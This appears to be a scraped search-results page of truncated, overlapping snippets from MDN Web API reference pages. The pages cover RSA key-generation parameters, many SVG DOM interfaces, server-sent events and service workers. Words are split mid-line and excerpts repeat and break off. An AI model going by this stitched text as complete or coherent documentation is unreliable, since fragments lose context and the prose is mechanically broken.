mment domthe definition of 'range.setend()' in that specification. living standard no change. document object model (dom) level 2 traversal and range specificationthe definition of 'range.setend()' in that specification. obsolete initial specification. ...
RsaHashedKeyGenParams - Web APIs
is, when the algorithm is identified as any of rsassa-pkcs1-v1_5, rsa-pss, or rsa-oaep. properties name a domstring. this should be set to rsassa-pkcs1-v1_5, rsa-pss, or rsa-oaep, depending on the algorithm you want to use. moduluslength a number. the length in bits of the rsa modulus. this should be at least 2048: see for example see nist sp 800-131a rev. 1. some organizations are now reco
mmending that it should be 4096. publicexponent a uint8array. the public exponent. unless you have a good reason to use something else, specify 65537 here ([0x01, 0x00, 0x01]). hash a domstring representing the name of the digest function to use. you can pass any of sha-256, sha-384, or sha-512 here. warning: although you can technically pass sha-1 as a value here, this is strongly dis...
... 0x00, 0x01]). hash a domstring representing the name of the digest function to use. ...
...sha-384, or sha-512 here. ...
SVGAElement - Web APIs
o _blank and when the link is clicked, it logs to notify whether the condition is met or not. ...
...condition is met or not. ...
...pecification status co
mment scalable vector graphics (svg) 2 candidate reco
mmendation replaced inheritance from svgelement by svggraphicselement and removed the interface implementations of svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by htmlhyperlinkelementutils scalable vector graphics (svg) 1.1 (second edition) reco
mmendation initial definition ...
SVGAngle - Web APIs
aised when the length corresponds to a read only attribute or when the object itself is read only. converttospecifiedunits preserve the same underlying stored value, but reset the stored unit identifier to the given unittype. ...
...s preserve the same underlying stored value, but reset the stored unit identifier to the given unittype. object attributes unittype, valueinspecifiedunits, and valueasstring might be modified as a result of this method. ...
...alueasstring might be modified as a result of this method. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgelement' in that specification. candidate reco
mmendation adds the dataset property. ...
SVGAnimatedPathData - Web APIs
properties this interface also inherits properties from its parent, svgpathelement. name type description animatednormalizedpathseglist svgpathseglist provides access to the current animated contents of the 'd' attribute in a form where all path data co
mmands are expressed in terms of the following subset of svgpathseg types: svg_pathseg_moveto_abs (m), svg_pathseg_lineto_abs (l), svg_pathseg_curveto_cubic_abs (c) and svg_pathseg_closepath (z). animatedpathseglist svgpathseglist provides access to the current animated contents of the 'd' attribute in a form which matches one-for-one with svg's synt...
...e-for-one with svg's syntax. if the given attribute or property is being animated, contains the current animated value of the attribute or property, and both the object itself and its contents are read only. normalizedpathseglist svgpathseglist provides access to the base (i.e., static) contents of the 'd' attribute in a form where all path data co
mmands are expressed in terms of the following subset of svgpathseg types: svg_pathseg_moveto_abs (m), svg_pathseg_lineto_abs (l), svg_pathseg_curveto_cubic_abs (c) and svg_pathseg_closepath (z). pathseglist svgpathseglist provides access to the base (i.e., static) contents of the 'd' attribute in a form which matches one-for-one with svg's syntax. t...
...g_moveto_abs (m), svg_pathseg_lineto_abs (l), svg_pathseg_curveto_cubic_abs (c) and svg_pathseg_closepath (z). pathseglist svgpathseglist provides access to the base (i.e., static) contents of the 'd' attribute in a form which matches one-for-one with svg's syntax. thus, if the d attribute has an "absolute moveto (m)" and an "absolute arcto (a)" co
mmand, then pathseglist will have two entries: a svg_pathseg_moveto_abs and a svg_pathseg_arc_abs. methods this interface does not provide any specific methods, but implements those of its parent, svgpathelement. browser compatibility desktop mobile ...
SVGCircleElement - Web APIs
ill increase or decrease var change = math.random() > 0.5 ? 10 : -10; // clamp the circle radius to a minimum of 10 and a maximum of 250, // so it won't disappear or get bigger than the viewport var newvalue = math.min(math.max(circle.r.baseval.value + change, 10), 250); circle.setattribute("r", newvalue); } click on the circle. ...
...a maximum of 250, // so it won't disappear or get bigger than the viewport var newvalue = math.min(math.max(circle.r.baseval.value + change, 10), 250); circle.setattribute("r", newvalue); } click on the circle. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgcircleelement' in that specification. ...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
SVGClipPathElement - Web APIs
its parent, svgelement. svgclippathelement.clippathunits read only an svganimatedenumeration corresponding to the clippathunits attribute of the given <clippath> element. takes one of the constants defined in svgunittypes. methods this interface doesn't implement any specific methods, but inherits methods from its parent, svgelement. ...
...clippathunits attribute of the given <clippath> element. takes one of the constants defined in svgunittypes. methods this interface doesn't implement any specific methods, but inherits methods from its parent, svgelement. specifications specification status co
mment css masking module level 1the definition of 'svgclippathelement' in that specification. ...
... co
mment css masking module level 1the definition of 'svgclippathelement' in that specification. candidate reco
mmendation removed the inheritance from svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, svgtransformable, and svgunittypes scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgclippathelement' in that specification. ...
SVGComponentTransferFunctionElement - Web APIs
his type. svg_fecomponenttransfer_type_identity 1 corresponds to the value identity. svg_fecomponenttransfer_type_table 2 corresponds to the value table. svg_fecomponenttransfer_type_discrete 3 corresponds to the value discrete. svg_fecomponenttransfer_type_linear 4 corresponds to the value linear. svg_fecomponenttransfer_type_ga
mma 5 corresponds to the value ga
mma. properties this interface also inherits properties from its parent interface, svgelement. svgcomponenttransferfunctionelement.type read only an svganimatedenumeration corresponding to the type attribute of the given element. it takes one of the svg_fecomponenttransfer_type_* constants defined on this interface. svgcomponenttransferfunctionele...
...read only an svganimatednumber corresponding to the exponent attribute of the given element. svgcomponenttransferfunctionelement.offset read only an svganimatednumber corresponding to the offset attribute of the given element. ...
...t implements those of its parent, svgelement. specifications specification status co
mment filter effects module level 1the definition of 'svgcomponenttransferfunctionelement' in that specification. ...
SVGDefsElement - Web APIs
nt</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent, svggraphicselement. methods this interface doesn't implement any specific methods, but inherits properties from its parent, svggraphicselement. ...
... implement any specific properties, but inherits properties from its parent, svggraphicselement. methods this interface doesn't implement any specific methods, but inherits properties from its parent, svggraphicselement. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgdefselement' in that specification. ...
... scalable vector graphics (svg) 2the definition of 'svgdefselement' in that specification. ...
SVGDescElement - Web APIs
#4d4e53" text-anchor="middle" alignment-baseline="middle">svgdescelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggeometryelement. methods this interface has no methods but inherits methods from its parent, svggeometryelement. ...
...0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggeometryelement. methods this interface has no methods but inherits methods from its parent, svggeometryelement. ...
...rent, svggeometryelement. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgdescelement' in that specification. ...
SVGElement - Web APIs
when an svg document is being resized. also available via the onresize property. scroll fired when an svg document view is being shifted along the x and/or y axes. also available via the onscroll property. unload fired when the dom implementation removes an svg document from a window or frame. ...
...view is being shifted along the x and/or y axes. also available via the onscroll property. unload fired when the dom implementation removes an svg document from a window or frame. also available via the onunload property. ...
...m a window or frame. also available via the onunload property. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgelement' in that specification. candidate reco
mmendation adds the dataset property. ...
SVGFilterPrimitiveStandardAttributes - Web APIs
the svgfilterprimitivestandardattributes interface defines the set of dom attributes that are co
mmon across the filter primitive interfaces. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfilterprimitivestandardattributes" target="_top"><rect x="1" y="1" width="360" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="181" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfilterprimitivestan...
...nt. svgfilterprimitivestandardattributes.height read only an svganimatedlength corresponding to the height attribute of the given element. svgfilterprimitivestandardattributes.result read only an svganimatedstring corresponding to the result attribute of the given element. ...
...face does not provide any specific methods. specifications specification status co
mment filter effects module level 1the definition of 'svgfilterprimitivestandardattributes' in that specification. ...
SVGForeignObjectElement - Web APIs
to the width attribute of the given <foreignobject> element. svgforeignobjectelement.height read only an svganimatedlength corresponding to the height attribute of the given <foreignobject> element. methods this interface has no methods but inherits methods from its parent, svggraphicselement and implements methods from svgurireference. ...
...sponding to the height attribute of the given <foreignobject> element. methods this interface has no methods but inherits methods from its parent, svggraphicselement and implements methods from svgurireference. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgforeignobjectelement' in that specification. ...
...definition of 'svgforeignobjectelement' in that specification. ...
SVGGradientElement - Web APIs
ttransform on the given element. svggradientelement.spreadmethod read only returns an svganimatedenumeration corresponding to attribute spreadmethod on the given element. one of the spread method types defined on this interface. methods this interface does not provide any specific methods, but implements those of its parent, svgelement. ...
...to attribute spreadmethod on the given element. one of the spread method types defined on this interface. methods this interface does not provide any specific methods, but implements those of its parent, svgelement. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svggradientelement' in that specification. ...
...ications specification status co
mment scalable vector graphics (svg) 2the definition of 'svggradientelement' in that specification. candidate reco
mmendation removed inheritance of svgexternalresourcesrequired, svgstylable, and svgunittypes scalable vector graphics (svg) 1.1 (second edition)the definition of 'svggradientelement' in that specification. ...
SVGImageElement.preserveAspectRatio - Web APIs
the preserveaspectratio read-only property of the svgimageelement interface returns an svganimatedpreserveaspectratio corresponding to the preserveaspectratio attribute of the given <image> element. ...
...aspectratio corresponding to the preserveaspectratio attribute of the given <image> element. syntax var svganimatedpreerveaspectratio = svgimageelement.preserveaspectratio; value an svganimatedpreserveaspectratio. ...
...element.preserveaspectratio; value an svganimatedpreserveaspectratio. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'preserveaspectratio' in that specification. ...
SVGLength - Web APIs
operties readonly unsigned short unittype float value float valueinspecifiedunits domstring valueasstring constants svg_lengthtype_unknown = 0 svg_lengthtype_number = 1 svg_lengthtype_percentage = 2 svg_lengthtype_ems = 3 svg_lengthtype_exs = 4 svg_lengthtype_px = 5 svg_lengthtype_cm = 6 svg_lengthtype_
mm = 7 svg_lengthtype_in = 8 svg_lengthtype_pt = 9 svg_lengthtype_pc = 10 normative document svg 1.1 (2nd edition) example <svg height="200" onload="start();" version="1.1" width="200" xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"><![cdata[ function start() { var rect = document.getelementbyid("myrect"); var val = rect.x.baseval...
.... svg_lengthtype_ems 3 a value was specified using the em units defined in css2. svg_lengthtype_exs 4 a value was specified using the ex units defined in css2. svg_lengthtype_px 5 a value was specified using the px units defined in css2. svg_lengthtype_cm 6 a value was specified using the cm units defined in css2. svg_lengthtype_
mm 7 a value was specified using the
mm units defined in css2. svg_lengthtype_in 8 a value was specified using the in units defined in css2. svg_lengthtype_pt 9 a value was specified using the pt units defined in css2. svg_lengthtype_pc 10 a value was specified using the pc units defined in css2. properties name type descripti...
...short unittype) void preserve the same underlying stored value, but reset the stored unit identifier to the given unittype. object attributes unittype, valueinspecifiedunits, and valueasstring might be modified as a result of this method. for example, if the original value were "0.5cm" and the method was invoked to convert to millimeters, then the unittype would be changed to svg_lengthtype_
mm, valueinspecifiedunits would be changed to the numeric value 5 and valueasstring would be changed to "5
mm". browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafaria...
SVGLinearGradientElement - Web APIs
th corresponding to the x2 attribute of the given <lineargradient> element. svglineargradientelement.y2 read only an svganimatedlength corresponding to the y2 attribute of the given <lineargradient> element. ...
...ength corresponding to the y2 attribute of the given <lineargradient> element. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svggradientelement. ...
...ethods from its parent interface, svggradientelement. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svglineargradientelement' in that specification. ...
SVGMaskElement - Web APIs
d only an svganimatedlength corresponding to the width attribute of the given <mask> element. svgmaskelement.height read only an svganimatedlength corresponding to the height attribute of the given <mask> element. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement. ...
...ht read only an svganimatedlength corresponding to the height attribute of the given <mask> element. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement. specifications specification status co
mment css masking module level 1the definition of 'svgmaskelement' in that specification. ...
...ation status co
mment css masking module level 1the definition of 'svgmaskelement' in that specification. candidate reco
mmendation removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable. scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgmaskelement' in that specification. ...
SVGMatrix - Web APIs
s graphics operations utilize 2x3 matrices of the form: [a c e] [b d f] which, when expanded into a 3x3 matrix for the purposes of matrix arithmetic, become: [a c e] [b d f] [0 0 1] an svgmatrix object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown. warning: svg 2 replaced the svgmatrix interface by the more general do
mmatrix and do
mmatrixreadonly interfaces. properties svgmatrix.a a float representing the a component of the matrix. svgmatrix.b a float representing the b component of the matrix. svgmatrix.c a float representing the c component of the matrix. svgmatrix.d a float representing the d component of the matrix. svgmatrix.e a float representing the e component of the matrix. svgmatrix.f a...
...x and returns the resulting matrix as svgmatrix. ...
...rix and returns the resulting matrix as svgmatrix. ...
SVGMetadataElement - Web APIs
t</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement. ...
...ement any specific properties, but inherits properties from its parent interface, svgelement. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement. ...
...hods, but inherits methods from its parent interface, svgelement. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgmetadataelement' in that specification. ...
SVGNumber - Web APIs
t attempts to modify the object will result in an exception being thrown. properties svgnumber.value a float representing the number. note: if the svgnumber is read-only, a domexception with the code no_modification_allowed_err is raised on an attempt to change the value. ...
...resenting the number. note: if the svgnumber is read-only, a domexception with the code no_modification_allowed_err is raised on an attempt to change the value. methods this interface doesn't provide any specific methods. ...
...change the value. methods this interface doesn't provide any specific methods. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgnumber' in that specification. ...
SVGPatternElement - Web APIs
<pattern> element. svgpatternelement.height read only an svganimatedenumeration corresponding to the height attribute of the given <pattern> element. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement and implements the ones from svgfittoviewbox and svgurireference. ...
...the given <pattern> element. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement and implements the ones from svgfittoviewbox and svgurireference. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgpatternelement' in that specification. ...
...tus co
mment scalable vector graphics (svg) 2the definition of 'svgpatternelement' in that specification. candidate reco
mmendation removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable. scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpatternelement' in that specification. ...
SVGPolygonElement - Web APIs
#0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent, svggeometryelement and also implements properties from svganimatedpoints. methods this interface doesn't implement any specific methods, but inherits methods from its parent, svggeometryelement. ...
...rties from its parent, svggeometryelement and also implements properties from svganimatedpoints. methods this interface doesn't implement any specific methods, but inherits methods from its parent, svggeometryelement. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgpolygonelement' in that specification. ...
...alable vector graphics (svg) 2the definition of 'svgpolygonelement' in that specification. ...
SVGPolylineElement - Web APIs
#0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent, svggeometryelement and also implements properties from svganimatedpoints. methods this interface doesn't implement any specific methods, but inherits methods from its parent, svggeometryelement. ...
...ties from its parent, svggeometryelement and also implements properties from svganimatedpoints. methods this interface doesn't implement any specific methods, but inherits methods from its parent, svggeometryelement. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgpolylineelement' in that specification. ...
...able vector graphics (svg) 2the definition of 'svgpolylineelement' in that specification. ...
SVGRadialGradientElement - Web APIs
th corresponding to the fx attribute of the given <radialgradient> element. svgradialgradientelement.fy read only an svganimatedlength corresponding to the fy attribute of the given <radialgradient> element. ...
...ength corresponding to the fy attribute of the given <radialgradient> element. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svggradientelement. ...
...ethods from its parent interface, svggradientelement. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgradialgradientelement' in that specification. ...
SVGRect - Web APIs
tangle.a value that is negative results to an error. a value of zero disables rendering of the element svgrect.height this represents the height of the rectangle.a value that is negative results to an error.a value of zero disables rendering of the element. ...
...t this represents the height of the rectangle.a value that is negative results to an error.a value of zero disables rendering of the element. methods this interface also inherits properties from its parent, domrectreadonly. ...
...rits properties from its parent, domrectreadonly. specifications specification status co
mment geometry interfaces module level 1the definition of 'domrect' in that specification. candidate reco
mmendation changed svgrect as a legacy alias of domrect. ...
SVGRectElement - Web APIs
ctclick();">click me</text> </svg> javascript content function dorectclick(){ var myrect = document.getelementbyid('myrect'); var r = math.floor(math.random() * 255); var g = math.floor(math.random() * 255); var b = math.floor(math.random() * 255); myrect.style.fill = 'rgb(' + r + ', ' + g + ' , ' + b + ')'; } click the rect. ...
...yrect'); var r = math.floor(math.random() * 255); var g = math.floor(math.random() * 255); var b = math.floor(math.random() * 255); myrect.style.fill = 'rgb(' + r + ', ' + g + ' , ' + b + ')'; } click the rect. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgrectelement' in that specification. ...
... scalable vector graphics (svg) 2the definition of 'svgrectelement' in that specification. ...
SVGScriptElement - Web APIs
ode no_modification_allowed_err on an attempt to change the value of a read only attribut. svgscriptelement.crossorigin read only a domstring corresponding to the crossorigin attribute of the given <script> element. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement. ...
...d only a domstring corresponding to the crossorigin attribute of the given <script> element. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgscriptelement' in that specification. ...
... specification status co
mment scalable vector graphics (svg) 2the definition of 'svgscriptelement' in that specification. candidate reco
mmendation removed the implemented interface svgexternalresourcesrequired and added the crossorigin property. scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgscriptelement' in that specification. ...
SVGStopElement - Web APIs
events: all;} properties this interface also inherits properties from its parent interface, svgelement. svgstopelement.offset read only an svganimatednumber corresponding to the offset of the given element. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement. ...
...nt.offset read only an svganimatednumber corresponding to the offset of the given element. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement. ...
...ds from its parent interface, svgelement. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgstopelement' in that specification. candidate reco
mmendation removed inheritance from svgstylable. ...
SVGStyleElement - Web APIs
1.1 defined that a domexception is raised with code no_modification_allowed_err on an attempt to change the value of a read-only attribute. this restriction was removed in svg 2. ...
...y attribute. this restriction was removed in svg 2. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement and implements methods from linkstyle. ...
...lement and implements methods from linkstyle. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgstyleelement' in that specification. candidate reco
mmendation added inheritance of linkstyle. ...
SVGTSpanElement - Web APIs
hor="middle" alignment-baseline="middle">svgtspanelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't provide any specific properties, but inherits the properties from its parent, svgtextpositioningelement. ...
...vents: all;} properties this interface doesn't provide any specific properties, but inherits the properties from its parent, svgtextpositioningelement. methods this interface doesn't provide any specific methods. ...
...lement. methods this interface doesn't provide any specific methods. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgtspanelement' in that specification. ...
SVGTests - Web APIs
y an svgstringlist corresponding to the requiredextensions attribute of the given element. svgtests.systemlanguage read only an svgstringlist corresponding to the systemlanguage attribute of the given element. methods svgtests.hasextension() read only returns true if the browser supports the given extension, specified by a uri. ...
...e read only an svgstringlist corresponding to the systemlanguage attribute of the given element. methods svgtests.hasextension() read only returns true if the browser supports the given extension, specified by a uri. ...
...en extension, specified by a uri. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgtests' in that specification. candidate reco
mmendation removed requiredfeatures property and hasextension() method. ...
SVGTextContentElement - Web APIs
ong representing the character which caused a text glyph to be rendered at a given position in the coordinate system. because the relationship between characters and glyphs is not one-to-one, only the first character of the relevant typographic character is returned svgtextcontentelement.selectsubstring() selects text within the element. ...
... relationship between characters and glyphs is not one-to-one, only the first character of the relevant typographic character is returned svgtextcontentelement.selectsubstring() selects text within the element. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgtextcontentelement' in that specification. candidate reco
mmendation changed inheritance from svgelement to svggraphicselement and getstartpositionofchar() and removed implementations of svgtests, svglangspace, svgexternalresourcesrequired, svgstylable interfaces and getendpositionofchar() to return a dompoint instead of an svgpoint. scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtextcontentelement' in that specificati...
... changed inheritance from svgelement to svggraphicselement and getstartpositionofchar() and removed implementations of svgtests, svglangspace, svgexternalresourcesrequired, svgstylable interfaces and getendpositionofchar() to return a dompoint instead of an svgpoint. scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtextcontentelement' in that specification. reco
mmendation initial definition ...
SVGTextElement - Web APIs
:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgtextpositioningelement. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgtextpositioningelement. ...
...ies, but inherits properties from its parent interface, svgtextpositioningelement. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgtextpositioningelement. ...
...ace, svgtextpositioningelement. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgtextelement' in that specification. candidate reco
mmendation removed the implemented interface svgtransformable. ...
SVGTextPathElement - Web APIs
nly an svganimatedenumeration corresponding to the spacing attribute of the given element. it takes one of the textpath_spacingtype_* constants defined on this interface. ...
...ingtype_* constants defined on this interface. methods this interface does not provide any specific methods, but implements those of its parent, svgtextcontentelement, and also implements methods of svgurireference. ...
...xtcontentelement, and also implements methods of svgurireference. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgtextpathelement' in that specification. ...
SVGTextPositioningElement - Web APIs
y returns an svganimatedlengthlist reflecting the dy attribute of the given element. svgtextpositioningelement.rotate read only returns an svganimatednumberlist reflecting the rotate attribute of the given element. ...
...returns an svganimatednumberlist reflecting the rotate attribute of the given element. methods this interface doesn't provide any specific methods, but inherits methods from its parent, svgtextcontentelement. ...
...its methods from its parent, svgtextcontentelement. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgtextpositioningelement' in that specification. ...
SVGTitleElement - Web APIs
t</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement. ...
...ment any specific properties, but inherits properties from its parent interface, svgelement. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement. ...
...interface, svgelement. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgtitleelement' in that specification. candidate reco
mmendation removed inheritance from svglangspace and svgstylable. ...
SVGUseElement - Web APIs
not have a shadow tree (for example, because its uri is invalid or because it has been disabled by conditional processing), then getting this attribute returns null. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svggraphicselement and implements methods from svgurireference. ...
...then getting this attribute returns null. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svggraphicselement and implements methods from svgurireference. ...
... svgurireference. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svguseelement' in that specification. candidate reco
mmendation redefined the properties instanceroot and animatedinstanceroot. ...
SVGViewElement - Web APIs
iew> element. a list of domstring values which contain the names listed in the viewtarget attribute. each of the domstring values can be associated with the corresponding element using the getelementbyid() method call. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement. ...
... values can be associated with the corresponding element using the getelementbyid() method call. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement. ...
...from its parent interface, svgelement. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgviewelement' in that specification. ...
Using server-sent events - Web APIs
e time at which the event was generated. at random intervals, a simple message (with no event type) is sent. note: you can find a full example that uses the code shown in this article on github — see simple sse demo using php. error handling when problems occur (such as a network timeout or issues pertaining to access control), an error event is generated. you can take action on this progra
mmatically by implementing the onerror callback on the eventsource object: evtsource.onerror = function(err) { console.error("eventsource failed:", err); }; closing event streams by default, if the connection between the client and server closes, the connection is restarted. the connection is terminated with the .close() method. evtsource.close(); event stream format the event stream is a s...
...f the connection between the client and server closes, the connection is restarted. the connection is terminated with the .close() method. evtsource.close(); event stream format the event stream is a simple stream of text data which must be encoded using utf-8. messages in the event stream are separated by a pair of newline characters. a colon as the first character of a line is in essence a co
mment, and is ignored. note: the co
mment line can be used to prevent connections from timing out; a server can send a co
mment periodically to keep the connection alive. each message consists of one or more lines of text listing the fields for that message. each field is represented by the field name, followed by a colon, followed by the text data for that field's value. fields each message recei...
...nt. this must be an integer, specifying the reconnection time in milliseconds. if a non-integer value is specified, the field is ignored. all other field names are ignored. note: if a line doesn't contain a colon, the entire line is treated as the field name with an empty value string. examples data-only messages in the following example, there are three messages sent. the first is just a co
mment, since it starts with a colon character. as mentioned previously, this can be useful as a keep-alive mechanism if messages might not be sent regularly. the second message contains a data field with the value "some text". the third message contains a data field with the value "another message\nwith two lines". note the newline special character in the value. : this is a test stream data: som...
ServiceWorkerRegistration.showNotification() - Web APIs
vstring containing the url of an icon to display with the action. appropriate responses are built using event.action within the notificationclick event. badge: a usvstring containing the url of an image to represent the notification when there is not enough space to display the notification itself such as for example, the android notification bar. on android devices, the badge should acco
mmodate devices up to 4x resolution, about 96 by 96 px, and the image will be automatically masked. body: a string representing an extra content to display within the notification. data: arbitrary data that you want to be associated with the notification. this can be of any data type. dir : the direction of the notification; it can be auto, ltr or rtl icon: a usvstring containing the url of...
... value is false. tag: an id for a given notification that allows you to find, replace, or remove the notification using a script if necessary. timestamp: a domtimestamp representing the time when the notification was created. it can be used to indicate the time at which a notification is actual. for example, this could be in the past when a notification is used for a message that couldn’t i
mmediately be delivered because the device was offline, or in the future for a meeting that is about to start. vibrate: a vibration pattern to run with the display of the notification. a vibration pattern can be an array with as few as one member. the values are times in milliseconds where the even indices (0, 2, 4, etc.) indicate how long to vibrate and the odd indices indicate how long to pause.
... living standard initial definition. ...
Using Service Workers - Web APIs
more complex than that of appcache, but the trade off is that you can use javascript to control your appcache-implied behaviors with a fine degree of granularity, allowing you to handle this problem and many more. using a service worker you can easily set an app up to use cached assets first, thus providing a default experience even when offline, before then getting more data from the network (co
mmonly known as offline first). this is already available with native apps, which is one of the main reasons native apps are often chosen over web apps. setting up to play with service workers many service workers features are now enabled by default in newer versions of supporting browsers. if however you find that demo code is not working in your installed versions, you might need to enable a pre...
...ry use of onactivate is for cleanup of resources used in previous versions of a service worker script. the service worker will now control pages, but only those opened after the register() is successful. i.e. a document starts life with or without a service worker and maintains that for its lifetime. so documents will have to be reloaded to actually be controlled. the below graphic shows a su
mmary of the available service worker events: promises promises are a great mechanism for running async operations, with success dependant on one another. this is central to the way service workers work. promises can do a variety of things, but all you need to know for now is that if something returns a promise, you can attach .then() to the end and include callbacks inside it for success cas...
...ake sure the images were loaded before we tried to display them? this is a standard thing to want to do, but it can be a bit of a pain. we can use .onload to only display the image after it’s loaded, but what about events that start happening before we start listening to them? we could try to work around this using .complete, but it’s still not foolproof, and what about multiple images? and, u
mmm, it’s still synchronous, so blocks the main thread. instead, we could build our own promise to handle this kind of case. (see our promises test example for the source code, or look at it running live.) note: a real service worker implementation would use caching and onfetch rather than the xmlhttprequest api. those features are not used here so that you can focus on understanding promises.
Service Worker API - Web APIs
rcontainer.register() method. if successful, your service worker will be downloaded to the client and attempt installation/activation (see below) for urls accessed by the user inside the whole origin, or inside a subset specified by you. download, install and activate at this point, your service worker will observe the following lifecycle: download install activate the service worker is i
mmediately downloaded when a user first accesses a service worker–controlled site/page. after that, it is updated when: a navigation to an in-scope page occurs. an event is fired on the service worker and it hasn't been downloaded in the last 24 hours. installation is attempted when the downloaded file is found to be new — either different to an existing service worker (byte-wise compared...
...rkerglobalscope of a serviceworker. as a child of extendableevent, it ensures that functional events such as fetchevent are not dispatched during installation. navigationpreloadmanager provides methods for managing the preloading of resources with a service worker. navigator.serviceworker returns a serviceworkercontainer object, which provides access to registration, removal, upgrade, and co
mmunication with the serviceworker objects for the associated document. notificationevent the parameter passed into the onnotificationclick handler, the notificationevent interface represents a notification click event that is dispatched on the serviceworkerglobalscope of a serviceworker. serviceworker represents a service worker. multiple browsing contexts (e.g. pages, workers, etc.) can be...
...e of a serviceworker. syncmanager provides an interface for registering and listing sync registrations. windowclient represents the scope of a service worker client that is a document in a browser context, controlled by an active worker. this is a special type of client object, with some additional methods and properties available. specifications specification status co
mment service workers working draft initial definition. ...
SpeechRecognitionErrorEvent.error - Web APIs
ace returns the type of error raised. syntax var myerror = event.error; value a domstring naming the type of error. the possible error types are: no-speech no speech was detected. aborted speech input was aborted in some manner, perhaps by some user-agent-specific behavior like a button the user can press to cancel speech input. audio-capture audio capture failed. network network co
mmunication required for completing the recognition failed. not-allowed the user agent disallowed any speech input from occurring for reasons of security, privacy or user preference. service-not-allowed the user agent disallowed the requested speech recognition service, either because the user agent doesn't support it or because of reasons of security, privacy or user preference. in this case it...
...allowed any speech input from occurring for reasons of security, privacy or user preference. service-not-allowed the user agent disallowed the requested speech recognition service, either because the user agent doesn't support it or because of reasons of security, privacy or user preference. in this case it would allow another more suitable speech recognition service to be used instead. bad-gra
